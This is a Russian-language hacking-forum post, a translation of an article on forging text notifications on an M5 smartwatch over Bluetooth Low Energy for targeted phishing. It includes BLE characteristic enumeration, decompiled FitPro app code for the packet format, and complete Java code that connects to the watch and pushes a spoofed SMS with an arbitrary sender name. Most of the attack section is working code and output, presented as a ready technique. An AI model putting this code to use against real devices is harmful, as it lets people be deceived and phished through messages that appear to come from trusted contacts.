• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Взлом smart - часов для целевого фишинга

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
1669698891198.png


ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

Работа в RedTeam — интересное занятие и иногда вам нужно проявить творческий подход.
Цели, возможно, были ранее подвергнуты фишингу стандартными способами, и вам, придется мыслить нестандартно.
В этой статье мы объясним, как взломать SmartWatch и показать собственное текстовое сообщение.
Я не буду слишком углубляться в технологию Bluetooth Low Energy, но вы можете обратиться к нашей предыдущей статье для изучения основ.



1669699152262.png

Цель — SmartWatch M5, но процедура практически одинакова для всех SmartWatch.

Современные SmartWatch поддерживают отображение сообщений смартфона. Большинство SmartWatch поддерживают несколько типов текста, среди которых WhatsApp, Facebook или SMS-сообщения. Имя или номер телефона отправителя отображаются вместе с их сообщением.
Цель этой задачи — найти способ связаться со SmartWatch и передать ему правильную информацию для отображения мошеннического текстового сообщения. Я считаю, что такие фишинговые атаки работают лучше, когда пользователь находится в движении. Когда цель находится в движении, она даже не смотрит на смартфон, чтобы подтвердить происхождение сообщения. Пользователи доверяют информации, отображаемой на их SmartWatch, думая, что она исходит от SmartWatch. Большинство SmartWatch небезопасны и позволяют злоумышленникам подключаться к SmartWatch и делать что угодно. То, как можно использовать эту атаку, может показаться ограниченным, но на самом деле она очень эффективна, если ее использовать правильно.


Обратный инжиниринг приложения​

К сожалению для нас, каждые часы работает по-своему. Каждый поставщик реализует свою собственную логику и собственный протокол; таким образом, для каждой марки/модели нам нужно сначала провести некоторое исследование. Установим gatttool на Linux и сгенерируем ключ BLE.

Код:
gatttool -t public -b ff:ff:df:10:8d:f9 -I

Код:
[ff:ff:df:10:8d:f9][LE]> characteristics
handle: 0x0002, char properties: 0x12, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x0009, char properties: 0x20, char value handle: 0x000a, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x000d, char properties: 0x02, char value handle: 0x000e, uuid: 00002a50-0000-1000-8000-00805f9b34fb
handle: 0x000f, char properties: 0x02, char value handle: 0x0010, uuid: 00002a26-0000-1000-8000-00805f9b34fb
handle: 0x0011, char properties: 0x02, char value handle: 0x0012, uuid: 00002a28-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x06, char value handle: 0x0016, uuid: 00002a4e-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x12, char value handle: 0x0018, uuid: 00002a22-0000-1000-8000-00805f9b34fb
handle: 0x001a, char properties: 0x0e, char value handle: 0x001b, uuid: 00002a32-0000-1000-8000-00805f9b34fb
handle: 0x001c, char properties: 0x12, char value handle: 0x001d, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0020, char properties: 0x12, char value handle: 0x0021, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0024, char properties: 0x0e, char value handle: 0x0025, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 00002a4b-0000-1000-8000-00805f9b34fb
handle: 0x002a, char properties: 0x02, char value handle: 0x002b, uuid: 00002a4a-0000-1000-8000-00805f9b34fb
handle: 0x002c, char properties: 0x04, char value handle: 0x002d, uuid: 00002a4c-0000-1000-8000-00805f9b34fb
handle: 0x002f, char properties: 0x10, char value handle: 0x0030, uuid: 6e400003-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0032, char properties: 0x0c, char value handle: 0x0033, uuid: 6e400002-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0035, char properties: 0x12, char value handle: 0x0036, uuid: 00002a19-0000-1000-8000-00805f9b34fb
handle: 0x0039, char properties: 0x06, char value handle: 0x003a, uuid: 00010203-0405-0607-0809-0a0b0c0d2b12

Декомпилируем мобильное приложение SmartWatche, чтобы понять как работает протокол BLE. Для этого мы используем Jadx, который является отличным декомпилятором и поддерживает файлы APK по умолчанию
Приложение называется FitPro и вот так оно выглядит:

1669700074367.png


Немного покапавшись в коде находим обработчик уведомлений, отвечающий за получение SMS-сообщений от Android и их передачу SmartWatch. Класс обработчика называется «NotifyService», и с помощью вызова методов некоторых других классов он может создать сообщение BLE и переслать его на устройство. Вот структура пакета:

1669700317791.png


Телефон /источник/ является источником сообщения и представляет собой строку. Это может быть что угодно на самом деле.
Затем следует двоеточие, а затем само сообщение.
Заголовок пакета составляет всего 3 байта и определяет тип сообщения.
Вот как определяется тип, показанный из декомпилированного кода:
Код:
  str3 = SaveKeyValues.getStringValues("SMSState", str3);
  obj = new byte[]{(byte) 1, (byte) 0, (byte) 0};
  break;
  ... SNIP ...
case 11:
  str3 = SaveKeyValues.getStringValues("FaceBookState", str3);
  obj = new byte[]{(byte) 4, (byte) 0, (byte) 0};
  break;
case 12:
  str3 = SaveKeyValues.getStringValues("linkdedInState", str3);
  obj = new byte[]{(byte) 17, (byte) 0, (byte) 0};
  break;
case 13:
  str3 = SaveKeyValues.getStringValues("KakaoTalkState", str3);
  obj = new byte[]{(byte) 9, (byte) 0, (byte) 0};
  break;
default:

Поэтому для SMS-сообщений используются байты {1,0,0}.
Заголовок протокола определяется двумя переменными числами, которые фактически основаны на длине данных. Таким образом, длина сообщения включена.
Вот как устроен заголовок протокола (не заморачивайтесь):

Код:
  Integer valueOf = Integer.valueOf(getLength().intValue() + bArr.length);
  Object obj = new byte[valueOf.intValue()];
  obj[0] = (byte) -51;
  Object intToBytes = ByteUtil.intToBytes(valueOf.intValue() - 3);
  System.arraycopy(intToBytes, 2, obj, 1, intToBytes.length - 2);
  obj[3] = b;
  obj[4] = 1;
  obj[5] = b2;
  Object intToBytes2 = ByteUtil.intToBytes(bArr.length);
  System.arraycopy(intToBytes2, 2, obj, 6, intToBytes2.length - 2);
  System.arraycopy(bArr, 0, obj, 8, bArr.length);
  return obj;
}

Класс NotifyService ведет также к UUID характеристики (6e400002-b5a3-f393-e0a9-e50e24dcca9d) и, следовательно, к дескриптору ее значения (0x33).
Теперь у нас есть полное представление о том, как отправлять данные на SmartWatch. Теперь мы создадим код для отправки данных на устройство. Выберем Java, так как мы используем часть декомпилированного кода для создания пакета.

Переделаем пакет​

Давайте создадим сообщение и заголовок сообщения:

Код:
 msg) {
  ByteBuffer buffer = ByteBuffer.allocate(3 + msg.length() + 1 + phone.length());
  buffer.put(new byte[]{1,0,0});
  buffer.put(phone.getBytes());
  buffer.put((byte) 58); // colon
  buffer.put(msg.getBytes());
  return buffer.array();
}

Переносим функцию getProtocol из декомпилированного кода, а затем переименовываем некоторые переменные для ясности, а также меняем некоторые функции, чтобы они соответствовали API Java:

Код:
  Integer intBarrAndIntLen = Integer.valueOf(getLength().intValue() + bArr.length);
  byte[] payload = new byte[intBarrAndIntLen.intValue()];
  payload[0] = (byte) -51;
  byte[] byteOfIntBarrALenMinus3 = ByteBuffer.allocate(8).putInt(intBarrAndIntLen.intValue() - 3).array();
  System.arraycopy(byteOfIntBarrALenMinus3, 2, payload, 1, byteOfIntBarrALenMinus3.length - 2);
  payload[3] = b;
  payload[4] = 1;
  payload[5] = b2;
  byte[] intToBytes2 = ByteBuffer.allocate(4).putInt(bArr.length).array();
  System.arraycopy(intToBytes2, 2, payload, 6, intToBytes2.length - 2);
  System.arraycopy(bArr, 0, payload, 8, bArr.length);
  return payload;
}

Вход задается следующим методом:

Код:
public static byte[] getSendPushRemindValue(int i, byte[] bArr) {
    return getProtocol((byte) 18, i == 1 ? (byte) 18 : (byte) 17, bArr);
}

Используем метод getProtocol:

Код:
byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));

Поскольку MTU BLE по умолчанию позволяет отправлять 20 байтов, сообщение пользовательского протокола делится на две части, и поэтому для передачи пользовательского PDU из приложения в SmartWatch используются два пакета BLE.
у нас есть вся необходимая информация для создания корректного сообщения. Итак, давайте подключимся и отправим его на SmartWatch. Для этого мы используем инструмент BLE:bit (blebit.io), но на самом деле можно использовать любой другой инструмент.

Код:
Short chr_handler = 0x33;

// Create a controller object
CEController ce = BLEHelper.getCentralController(new CEBLEDeviceCallbackHandler());
if (ce == null) {
System.err.println("BLE:bit CE tool not found");
}

// Initialize the BLE tool
ce.sendConnectionParameters(new CEConnectionParameters());
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.finishSetup();

System.out.println("Searching for the target");

// Connect to the target
ce.connectNow("ff:ff:df:10:8d:f9", ConnectionTypesCommon.AddressType.PUBLIC_ADDR);

System.out.println("Connected");

// Send data to the device
byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));

if (data.length <= 20) {
sendData(ce, data, chr_handle);
}else {
byte[] first_packet = Arrays.copyOfRange(data, 0, 20);
byte[] second_packet = Arrays.copyOfRange(data, 20, data.length);

sendData(ce, first_packet, chr_handle);
sendData(ce, second_packet, chr_handle);
}

// Disconnect and terminate the session
ce.disconnect(19);
ce.terminate();

System.out.println("Terminated");

Оказывается как же просто создать сообщение с именем отправителя «Хелен» и телом сообщения «Мне нужна помощь. 2-ой этаж"

1669701400837.png


Взлом SmartWatch — это вершина айсберга. Есть буквально сотни небезопасных устройств, которые так или иначе могут помочь с целевым фишингом. Однако при взломе BLE есть более интересные вещи, чем фишинг. Насколько вы знакомы с реверсированием приложений BLE или пониманием протокола BLE? Насколько хорошо вы выполняете тест BLE Pen Test?

Хотите отправить вам больше статей и показать, как много еще можно сделать?

При подписке ниже отправляется последующее электронное письмо с исходным кодом и инструментом jar, используемым для отправки сообщений на умные часы.

Кроме того, подписавшись, вы получаете бесплатные приглашения на вебинары BLE Pen Testing и другие интересные статьи.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх